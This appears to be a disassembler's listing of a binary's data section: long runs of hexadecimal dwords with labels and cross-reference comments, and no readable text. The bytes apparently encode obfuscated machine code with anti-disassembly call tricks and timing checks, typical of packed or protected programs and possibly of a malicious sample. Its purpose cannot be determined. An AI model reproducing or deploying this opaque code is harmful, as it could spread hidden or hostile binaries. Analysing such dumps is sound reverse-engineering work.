		dd 6D80A855h, 828CEAECh, 0FF655644h, 0E94A85DFh, 0AE8D0FFh
		dd 21000000h, 0E19C0929h, 0C06AF1E5h, 2840F06h,	60000000h
		dd 66615A61h, 85C7D88Bh, 5E42135h, 1, 1525BB66h, 0C9958960h
		dd 6805E414h, 0ABCF06C2h, 7F7DBB60h, 81611D41h,	0F9BE2404h
		dd 81665430h, 6AC2F4DBh, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 2995FF85h, 0F505E424h
		dd 0D9BF0F61h, 50F9B290h, 0C65FF3BAh, 95319009h, 5E41F29h
		dd 285D858Bh, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 1D56ACC3h, 363B73F3h, 259B529h
		dd 0C00B05E4h, 31840Fh,	4ABA0000h, 0FF452470h, 0E42BA595h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 8C36E16Fh, 8EE2812Eh, 0C76FE249h, 0E4245D85h
		dd 105h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0E9F74600h, 10h, 8C37079Dh, 0E2D55EF9h
		dd 41DE2F0Eh, 42419191h, 18B0Fh, 83F80000h, 0E41F05BDh
		dd 840F0005h, 11h, 2079958Bh, 95FF05E4h, 5E40279h, 4FF224BAh
		dd 1DBD837Bh, 5E424h, 5E840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A2640AC3h
		dd 8529FAE0h, 5E41CF9h,	0F5D9BA66h, 13F595FFh, 6A05E4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0D36315C3h, 0CBB35CCCh, 5870F59h, 66000000h,	0A27CEA81h
		dd 21A9BD83h, 0F0005E4h, 5084h,	11E800h, 0C4BF0000h, 0AF8C0D6Fh
		dd 78BF10BDh, 43272ED9h, 0BAC93E99h, 364AB0C8h,	3DBD835Bh
		dd 5E42Ch, 27850Fh, 12E80000h, 7A000000h, 0BE28E58Eh, 769E2399h
		dd 0C543737Bh, 6EDCC7BFh, 0F18D89A4h, 5B05E431h, 1FB595FFh
		dd 0B70F05E4h, 5BD83D9h, 5E431h, 46840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8581BEC3h, 5E42215h,	4003h, 0A59D8960h, 0F05E416h, 8161F9BFh
		dd 0E41A5585h, 400305h,	6E900h,	0E0B40000h, 9F4C2E9Ch
		dd 9589310Fh, 5E40371h,	5AD18D8Dh, 9D8B05E4h, 5E402B1h
		dd 89600189h, 0E424C1BDh, 13E905h, 1D750000h, 27742650h
		dd 80FCED39h, 9C38CD71h, 1BBE1AC6h, 0C23361C6h,	12E9h
		dd 0CACB6E00h, 5E4B90Dh, 68633CF0h, 846A1DF7h, 0BAB3DE91h
		dd 4E91802h, 8B044189h,	6A310FD8h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0EDF0C356h
		dd 92B5920Dh, 8A75B70Dh, 0EA8166D9h, 8D8DF884h,	5E45AE6h
		dd 2DB19D8Bh, 18905E4h,	14E9h, 0E91E6A00h, 47E333A2h, 44395C32h
		dd 7EA22287h, 4DC90EF4h, 89C2334Fh, 958B0441h, 5E41B69h
		dd 971BD83h, 0F0005E4h,	3E84h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0DE9BBFDh
		dd 0A000000h, 0F80EB566h, 4D394770h, 9060413Fh,	22AD8589h
		dd 95FF05E4h, 5E42D61h,	83D9B70Fh, 0E41D5DBDh, 850F0105h
		dd 7Eh,	9E8h, 5EF2DB00h, 6D0CFD98h, 850FA3C0h, 2, 0E95AD38Bh
		dd 62h,	16499D8Bh, 0E96005E4h, 0Fh, 553D1D8h, 9DD38275h
		dd 7A55113Fh, 8B962416h, 0E411F585h, 0B58B6105h, 5E45C22h
		dd 6C7h, 0B58B0000h, 5E459C2h, 6C7h, 89CF0000h,	0E430F18Dh
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0BD4EBBACh
dword_544450	dd 0BD8334B9h, 5E4245Dh, 74840F00h, 3000001h, 0E42B359Dh
					; DATA XREF: ___:off_43CCF4o
		dd 0CDBD8305h, 105E427h, 153850Fh, 9D8B0000h, 5E413F1h
		dd 4BC68D8Bh, 0B70F05E4h, 1C6D9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0D0C35242h,	6652AE9Dh, 6068A2BAh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 30C35646h
		dd 66D68B66h, 0E8502ABAh, 4, 80h, 0D4BA6660h, 0BE665046h
		dd 615BCDB4h, 6E850h, 492A0000h, 0C8D6B0F0h, 0AE9h, 1EBDE500h
		dd 20ADBD5Ah, 5B91D965h, 424448Bh, 8BD98Ah, 60525250h
		dd 310F5A61h, 42BA5250h, 0F22F3FAh, 5A46B331h, 89585A58h
		dd 66042444h, 0B658D78Bh, 0E9FF6A04h, 0Ah, 9BCB0501h, 3D7D6D43h
		dd 0FFF9EE14h, 0E4242995h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 83AF72DBh
		dd 2AD6C2B9h, 6A61A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 54DE78C3h, 291D9589h, 95FF05E4h
		dd 5E41DA5h, 8BD0B70Fh,	0E44BC68Dh, 0D853105h, 0FE05E428h
		dd 57006A01h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 6DDEA323h, 3129DD2Ah, 0E42CE595h, 1BD8305h
		dd 105E412h, 1850Fh, 8BF90000h,	959509C0h, 8305E422h, 0E416A1BDh
		dd 9750005h, 220DBD83h,	740005E4h, 8B53501Ah, 15858BC0h
		dd 8905E422h, 0E4221585h, 0EB9D8D05h, 0FF05E6A8h, 83585BD3h
		dd 0E4220DBDh, 18740005h, 858B5350h, 5E42215h, 22158589h
		dd 9D8D05E4h, 5E6A5DAh,	585BD3FFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0F8C35040h,	7C8FB9E6h, 5E9h
		dd 28E7C700h, 53FC3010h, 0F830Fh, 0AE90000h, 0D5000000h
		dd 0EFDB3F07h, 649CF6EBh, 0C08B5B0Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 50C35242h, 89F9981Ah, 0E4320985h
		dd 5DBD8305h, 5E424h, 56850Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 85AC6FC3h
		dd 576FF339h, 60E28166h, 0BD835BF5h, 5E41FBDh, 21840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0E5C5C352h, 0EEB3001Dh, 245DBD83h
		dd 0F0005E4h, 5184h, 45958B00h,	0B305E425h, 0ADBD8300h
		dd 5E413h, 3C840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 150424h, 56460000h, 0E87324C3h, 0Eh, 50E6710Bh
		dd 9626C269h, 0D05D324Eh, 6E92A29h, 85000000h, 6B829D9Ch
		dd 0BD835A35h, 5E4245Dh, 38840F00h, 80000000h, 0BD836DD6h
		dd 5E413ADh, 28840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0D7C3C356h
		dd 3438351Ah, 419D892Eh, 8305E413h, 0E4245DBDh,	840F0005h
		dd 26h,	10E990B2h, 76000000h, 0A0F4883Eh, 5E0DE1B4h, 12156801h
		dd 8380E47Eh, 0E42CADBDh, 840F0005h, 2,	0BD835FB2h, 5E4245Dh
		dd 21840F00h, 0B3000000h, 0F1BD83C8h, 5E414h, 12840Fh
		dd 66530000h, 5B3187BBh, 47595FFh, 958905E4h, 5E42DA9h
		dd 0BD83C08Bh, 5E416A1h, 83097500h, 0E4220DBDh,	1A740005h
		dd 0C08B5350h, 1A55858Bh, 858905E4h, 5E41A55h, 0A9529D8Dh
		dd 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50187400h,	55858B53h
		dd 8905E41Ah, 0E41A5585h, 0F39D8D05h, 0FF05E6A5h, 8A585BD3h
		dd 56006AFCh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 77E4C385h, 0B34292A8h, 0E99D8BD1h, 8B05E410h
		dd 0A5A1BBC0h, 0BD8378EDh, 5E4245Dh, 53840F00h,	8B000004h
		dd 68E0FD0h, 3000000h, 0E402B59Dh, 11BD8305h, 205E42Dh
		dd 16840Fh, 958B0000h, 5E41789h, 1D5DBD83h, 0F0105E4h
		dd 385h, 0DA8B6600h, 32C1BD83h,	0F0005E4h, 9884h, 2098BB00h
		dd 0BA601DA3h, 0F5F81C5h, 4BC68D8Bh, 0B58905E4h, 5E41835h
		dd 2D9589h, 1FE05E4h, 68D7B70Fh, 0B29621D7h, 481A6B2h
		dd 69DEA924h, 6AF38A4Dh, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 202BC6DFh, 0FFA7933h
		dd 8E8D3B7h, 0A5000000h, 0EAF33E03h, 60CBB6E9h,	1F15B58Bh
		dd 8A0F05E4h, 0
		dd 95FF5A61h, 5E42429h,	68B0Fh,	958B0000h, 5E4219Dh, 5E861h
		dd 32CF0000h, 66367ED4h, 0E4A6DA81h, 0B589605Ah, 5E432BDh
		dd 4BC68D8Bh, 0B50105E4h, 5E43169h, 68FC01FEh, 0C51D369Dh
		dd 6E8ABB66h, 0E3240481h, 6A3AE2C9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6688C356h
		dd 0E5BB669Bh, 6AFF6A71h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0A02EC356h,	2444882Eh
		dd 0C19D8B5Ch, 0FF05E41Eh, 0E4242995h, 55958B05h, 6105E432h
		dd 2B719D03h, 0BD8D05E4h, 5E4292Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 51C35646h, 0B70F674Dh, 0DE8D8h
		dd 0B84D0000h, 0A54313CEh, 162391E3h, 0FDF0053h, 8Eh, 4F8B5B00h
		dd 55006A1Ch, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0C110FF90h, 0B890F9Ch, 0F000000h, 58Eh
		dd 2733BA00h, 9D895573h, 5E41DE9h, 6A016Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D2993C3h
		dd 5E40FA5h, 26898D89h,	0BB9105E4h, 4F8C468h, 12BA6650h
		dd 9D8B9112h, 5E43211h,	36D5858Dh, 6A05E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0F7ADCAC3h
		dd 0ECBB6648h, 6AD0FFDCh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0AAE5C351h,	0D51C96D4h
		dd 8AE3A968h, 204F8BD1h, 13E9h,	78A41F00h, 0DFC346C4h
		dd 0A1D326B9h, 31E7D689h, 0E2495C22h, 8A0F036Ah, 0Ch, 6820Fh
		dd 0BD890000h, 5E408C5h, 0D18B6650h, 6A240C89h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 810C352h, 0D20A6C77h, 8B49CBC3h, 0E41DA195h,	0D5858D05h
		dd 6605E736h, 0FF8F6BBBh, 0EB8166D0h, 0BD8D4982h, 5E4292Dh
		dd 52E4F281h, 4F8B42E8h, 51006A1Ch, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0AC01BA31h, 16A5DD7h
		dd 6650F78Ah, 897A4ABBh, 0EE9240Ch, 33000000h, 0B89965E0h
		dd 94684AFAh, 2E570565h, 0D5858D15h, 8B05E736h,	0E4261195h
		dd 81D0FF05h, 6A204BCBh, 204F8B7Ch, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 21C35545h, 3DDBA52Bh, 0DDAF2CD2h
		dd 0D98B511Ch, 50036A5Ah, 0FE8h, 5A640200h, 4527D09Bh
		dd 786D5479h, 0B5A3D097h, 128C0Fh, 0DE90000h, 2A000000h
		dd 0A2100A1Ah, 40A9F794h, 319C793Dh, 240C895Bh,	858DD18Ah
		dd 5E736D5h, 2AF99589h,	0D0FF05E4h, 11B9BD09h, 8D8B05E4h
		dd 5E44BC6h, 54E38166h,	0F01FEECh, 0A80h, 48D0F00h, 66000000h
		dd 8B9850BAh, 0E44BC685h, 4D3FBA05h, 0DF8B4B4Bh, 6A00FEh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 9BC7D4C3h, 5B094E8Fh, 89016A10h, 0E42A8195h,	27206805h
		dd 8B66DC04h, 240481DFh, 23FB78DFh, 3830Fh, 0C7800000h
		dd 8D35B603h, 0E736DF85h, 159D8B05h, 0FF05E420h, 51006AD0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8A0F4E03h, 6, 7458DB81h, 0BD831E80h,	5E41FBDh, 15840F00h
		dd 81000001h, 6701E2E3h, 95BD8363h, 105E429h, 102850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 8CBA6AC3h, 0ACF80A72h, 1EA5DDCh, 0E41B65B5h
		dd 0E98D8D05h, 0B05E736h, 0E4323595h, 13E805h, 0C2300000h
		dd 0D831FDE7h, 37EC486Eh, 937CE7DBh, 9C6A85BFh,	9952998h
		dd 5A05E410h, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0F59312C3h, 59DB8166h, 6A016A67h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 8DE1C357h, 0FFF8D30Fh, 45BD09D1h,	6A05E420h
		dd 52006A01h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BD3190CCh, 5E43221h, 0E3B2016Ah, 6AD1FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 653017C3h, 2DD69FE9h, 49BB6619h, 5F5FE81Dh, 9D8BFA77h
		dd 5E4234Dh, 0B531206Ah, 5E409B5h, 0F48AFF6Ah, 0DE960h
		dd 73BD0000h, 9F48275Dh, 3864987Fh, 66407B2Dh, 0FA06C881h
		dd 2995FF61h, 6A05E424h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 5E00C351h, 8B8AAC5Eh
		dd 0B8D0h, 0C5B70000h, 840FC00Bh, 45h, 231DBD89h, 0BD8305E4h
		dd 5E421A1h, 32840F00h,	0F000000h, 68Eh, 69BD8900h, 0FF05E402h
		dd 0E4258595h, 14E805h,	0A6D70000h, 0F220A487h,	0F4F69365h
		dd 7F905406h, 7DF8F143h, 0BD89F29Ah, 5E42DB1h, 91858B5Bh
		dd 105E411h, 0E42D2DBDh, 0C605h, 3C9CBB66h, 6828BA58h
		dd 0BD8956F8h, 5E426C9h, 89D98C66h, 0E40D45BDh,	88C0F05h
		dd 50000000h, 2F1958Bh,	0F65B05E4h, 840F04C1h, 2Fh, 2425958Bh
		dd 24E905E4h, 8B000000h, 0E4012D9Dh, 0B5B58B05h, 8005E41Ah
		dd 0C68194C3h, 1180h, 1B499503h, 6C705E4h, 0
		dd 5ED9BF0Fh, 0FDE8B66h, 68Ch, 1D858900h, 8305E416h, 840F00F8h
		dd 0BFFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0CC35545h
		db 77h,	60h
word_544F42	dw 0CCB6h		; DATA XREF: ___:off_435718o
		dd 5DB58951h, 8305E40Fh, 850F01F8h, 1D6h, 17DD29BBh, 19D8B5Bh
		dd 0B805E41Ch, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F2C35545h
		dd 29E04731h, 0C00B869Ah, 102840Fh, 0EA810000h,	5AFED3A1h
		dd 0F01F883h, 12784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 13CC381Dh, 2AA5958Bh
		dd 0F88305E4h, 5C840F03h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1E2CC353h
		dd 0F4D1F33Bh, 9F10DD5Bh, 0CE8h, 33337200h, 0EF773182h
		dd 0B5D9C197h, 5B45B397h, 0B8h,	0F2816600h, 0BD8D2DA6h
		dd 5B7974h, 11098D89h, 0E7FF05E4h, 3A78D281h, 42BA5AB4h
		dd 0B825CE6Ah, 1, 898EC780h, 0E41AB9BDh, 74BD8D05h, 6A005B79h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 829EC355h, 0B4ADC9AEh, 70C29B5Ch,	0FFD0BF0Fh
		dd 57006AE7h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 6FEDEACFh, 6678445Ch, 9D8BD18Bh,	5E40CC5h
		dd 4252BD8Dh, 958B05E4h, 5E424A9h, 31EE9h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0FDCC8244h, 0FCAABB58h, 4C2185C7h, 505E4h, 81660000h
		dd 0B84DFBE3h, 5, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	6BC35545h, 8B9D1D10h, 0E402ED9Dh, 0E9EFB205h, 979h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 31C35747h
		dd 0F1B22C27h, 1B559D8Bh, 0F88305E4h, 0FB850F02h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 25B6C353h, 2B565076h, 0E41DF59Dh,	0B85A05h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 662CC356h, 0B170BBBh, 6F840FC0h
		dd 81000000h, 0FDAAA4D3h, 1F8830Eh, 0FF2E840Fh,	8589FFFFh
		dd 5E43261h, 0F03F883h,	0FFFE8284h, 0D59589FFh,	0B805E40Fh
		dd 0
		dd 0BE9h, 88B74C00h, 0E6E93AA7h, 0C566DA58h, 7974BD8Dh
		dd 6A005Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0A0C9EBC3h, 958BCFB3h, 5E4122Dh, 8B52E7FFh
		dd 0E42A1D9Dh, 0BD8D5B05h, 5E4444Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0EAC35545h,	0A5EC56FDh, 99958B36h
		dd 0E905E41Fh, 197h, 27999D8Bh,	0F88305E4h, 37850F03h
		dd 9000000h, 0E4125185h, 0DEBD8D05h, 905E445h, 0E41A5195h
		dd 171E905h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0FB8A2EC3h, 0F883DF8Bh, 5C850F05h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E759C351h, 0AE9h, 0BC278100h
		dd 29FB3EBBh, 89BD2413h, 0E421E195h, 7CFE905h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0B6BE3CC3h, 2EE38113h, 834FB39Eh, 850F06F8h,	45h, 0BD8DDA8Bh
		dd 5E447D6h, 38E0Fh, 8B660000h,	0CDE9DFh, 0DF8B0000h, 10E8h
		dd 68FE300h, 47B6BD0Dh,	3258CEAFh, 0F919B677h, 12E921h
		dd 66A40000h, 0C499597Fh, 93AEEC11h, 959FFE71h,	61D2D080h
		dd 7F8835Bh, 1B850Fh, 0BA660000h, 0BD8D0402h, 5E40501h
		dd 2CA1958Bh, 4DE905E4h, 1000001h, 0E41B09BDh, 0AF88305h
		dd 71850Fh, 6A0000h
dword_545350	dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
					; DATA XREF: ___:off_43CCB4o
		dd 0C2B03CC3h, 8DB0CC67h, 0E449CEBDh, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 0E9D223ADh, 11h, 9B1260F3h, 0CBF8FF68h, 0C36CFE6Ch
		dd 5CE2237Dh, 11E909h, 0CE90000h, 0F4000000h, 0A457CBF1h
		dd 0D50E4830h, 57F66D92h, 0F0CA8166h, 6E21B9BFh, 5A501E7Ch
		dd 0F003F83h, 7E84h, 0C9816000h, 6978F6Ah, 14E9h, 8FD48900h
		dd 64068461h, 9ABBE8DEh, 1850440h, 54ED345h, 0F306102h
		dd 0C9D1DE8Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	93C35040h, 0AB8C49FEh, 8B4EA5F4h, 0E425359Dh, 6A4705h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0A05699C3h, 0E51CC6C6h, 0FF7EE9CEh, 8166FFFFh, 5F4B38D2h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 73C35343h
		dd 4EA61C19h, 8DE8B002h, 0EE990h, 0BCED0000h, 5FA95B9h
		dd 64444836h, 66B6BA34h, 4BCABD89h, 958B05E4h, 5E42DB9h
		dd 2F98D8Dh, 0D98B05E4h, 3880F60h, 80000000h, 850F25C2h
		dd 6, 2AF1958Bh, 0FF6105E4h, 0E40241B5h, 0EE905h, 85E30000h
		dd 0A18C1FB6h, 0E3C4838Ch, 696E1BA6h, 9C41858Dh, 8D5005E6h
		dd 0E4525EBDh, 218D8D05h, 0B805E46Dh, 54831ABCh, 730CF2Bh
		dd 4947C8D0h, 0B58DF875h, 5E46C8Ah, 6D398D8Dh, 0CF2B05E4h
		dd 0C933A4F3h, 0B8h, 74C00B00h,	0A1BD8346h, 5E421h, 95FF0674h
		dd 5E42585h, 4BCAB58Bh,	858D05E4h, 5E69C41h, 858DD0FFh
		dd 5E441E7h, 85C7D0FFh,	5E40FA1h, 1, 0F79A58Bh,	0B58B05E4h
		dd 5E41C65h, 1F85AD8Bh,	0C03305E4h, 1000CC2h, 0E41B1195h
		dd 0C9BD8305h, 5E424h, 2F840Fh,	8B660000h, 1995FFD3h, 6A05E411h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0E899C355h, 3D88B66h, 0E41E059Dh,	0DDBD8305h
		dd 5E430h, 1F1850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 7D86B1C3h, 3149CD88h
		dd 0BB665ACCh, 0BD830062h, 5E42995h, 0BC850F01h, 0F000001h
		dd 0BD83D3B7h, 5E41549h, 0AC840F00h, 0E9000001h, 14h, 731B26Ch
		dd 61A6991Bh, 81FA897Dh, 2725613Eh, 2EFDB280h, 4C1DBD83h
		dd 0F0005E4h, 18684h, 35950900h, 8D05E422h, 0E69C4185h
		dd 0E850F05h, 60000000h, 8F0Fh,	8D8B0000h, 5E43221h, 0CAB58B61h
		dd 8005E44Bh, 0D0FFB4CEh, 8818D89h, 816605E4h, 0C65C79C2h
		dd 0E42A4985h, 958B5405h, 5E412E5h, 4E8h, 4EBEF400h, 0D88B66FFh
		dd 24448B50h, 7E804h, 566D0000h, 34F951Ch, 5A07B228h, 5250008Bh
		dd 310FDD8Ah, 13E8h, 2FD39400h,	0CCD6CC0Dh, 33A553F1h
		dd 0E45EA66Ch, 0F657DD60h, 5BD08B66h, 4489585Ah, 52500424h
		dd 0CE85250h, 51000000h, 5B211796h, 0A52882C8h,	5BD8C67Ah
		dd 6160310Fh, 310F585Ah, 652D39BAh, 58585A6Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B6C35040h, 26AD938Ah
		dd 0B5FF38CFh, 5E428E5h, 0FAE38166h, 0AD9D8999h, 8D05E408h
		dd 0E4399485h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8950710Dh, 0E41A399Dh
		dd 89D0FF05h, 0E400B1B5h, 8B006A05h, 0E42E7595h, 6AFF6A05h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 6C83C351h, 8BC2ACD6h, 891AD1A1h, 0E403E1BDh
		dd 81D0FF05h, 73442CC2h, 0C840F6Ah, 0F000000h, 688h, 0B1853100h
		dd 0FF05E416h, 0E41625B5h, 5880F05h, 0BB000000h, 557C442Ah
		dd 0FFDBB70Fh, 0E4024195h, 0D19D0305h, 8B05E427h, 0E44BCAB5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 3E359826h, 0D0B70FCDh, 38D0FC3h,	0F000000h
		dd 0B58BD6BFh, 5E41191h, 6E8h, 87048A00h, 0F89C962h, 38Bh
		dd 0DAB70F00h, 0FF60B5Bh, 3084h, 0C59D2900h, 0C605E422h
		dd 6A0006h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 374CC6C3h, 0A472BBBh, 0AC0B55BBh,	0D2858946h
		dd 6A05E44Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 8CBC351h, 32D78B28h, 68D0FCCh
		dd 1000000h, 0E402C585h, 0F88305h, 2CD840Fh, 9D230000h
		dd 5E4202Dh, 0B8h, 85896000h, 5E40CA9h,	0F88361F9h, 0C4840F00h
		dd 89000000h, 0E4310DB5h, 2F88305h, 7E850Fh, 0DF800000h
		dd 4D858D5Bh, 905E442h,	0E40D799Dh, 9292D05h, 0DDB20000h
		dd 50DF8B90h, 0E9525052h, 11h, 750647E7h, 11B0F45h, 0E63FA03h
		dd 0B200D03Eh, 0E8310F7Dh, 14h,	79C2DA2Ch, 0A6648E4Bh
		dd 0C862D486h, 4E99F303h, 0CBB14F33h, 5B585A5Bh, 55B58990h
		dd 0C305E40Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0C7C35242h, 0A2DD8D0Fh,	669CD81Fh, 0B8h, 958B5000h
		dd 5E4202Dh, 211E95Ah, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0F78910C3h, 6D4C84h
		dd 0B8DF8B69h, 1, 30AD8589h, 8DF905E4h,	0E44252BDh, 1FF28105h
		dd 0E93E4722h, 0C8h, 168D9D03h,	0F88305E4h, 15850F02h
		dd 0B000000h, 0E4073995h, 4ABD8D05h, 8A05E444h,	0A6E9FCh
		dd 6EB20000h, 0F03F883h, 2385h,	45958B00h, 8905E40Dh, 0E418499Dh
		dd 0DEBD8D05h, 8B05E445h, 0E407559Dh, 7EE905h, 85290000h
		dd 5E41A39h, 0F05F883h,	6F85h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 39CC9EF9h
		dd 0E6B4FFD4h, 299D8B7Dh, 0E905E417h, 0Ah, 26C94935h, 0A01AC8E3h
		dd 9533C79Ah, 5E4268Dh,	8CE9h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0A1BF8F72h
		dd 5E49D03Dh, 0B58990A5h, 5E40975h, 56006A57h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 6A52B1C4h
		dd 1F2D8529h, 21B905E4h, 0F51E7C6Eh, 0F003F83h,	2C84h
		dd 80D28100h, 307A7C05h, 4CBA660Fh, 0B6C9D1BAh,	0D98B475Eh
		dd 0FFFFDFE9h, 0E860B2FFh, 6, 0B4441851h, 9D895795h, 5E419A1h
		dd 5F8835Ah, 9D850Fh, 66560000h, 665ADE8Bh, 6AD98Ch, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0EA3096C3h, 5C9807E8h, 958B239Fh, 5E426CDh, 0F04C1F6h
		dd 2D85h, 0B8F500h, 8A000000h, 55E9DEh,	14E80000h, 3D000000h
		dd 0A2ABB2AEh, 32F3066Dh, 0D9A1C3F0h, 0C908F255h, 0FE57777h
		dd 8Bh,	858B5B00h, 5E427FDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0C0C35545h,	146ACD3Bh, 53E3DF2Dh
		dd 0CB8056BFh, 0E0FF5BFFh, 83F0CE80h, 0E40241BDh, 850F0005h
		dd 10Ah, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0CEC35242h, 6009254Bh
		dd 2A2811C8h, 501EB390h, 13E9h,	18EAC000h, 0C76BE4B7h
		dd 34C53638h, 3E4396E5h, 0A8573F33h, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 80D13A3Fh
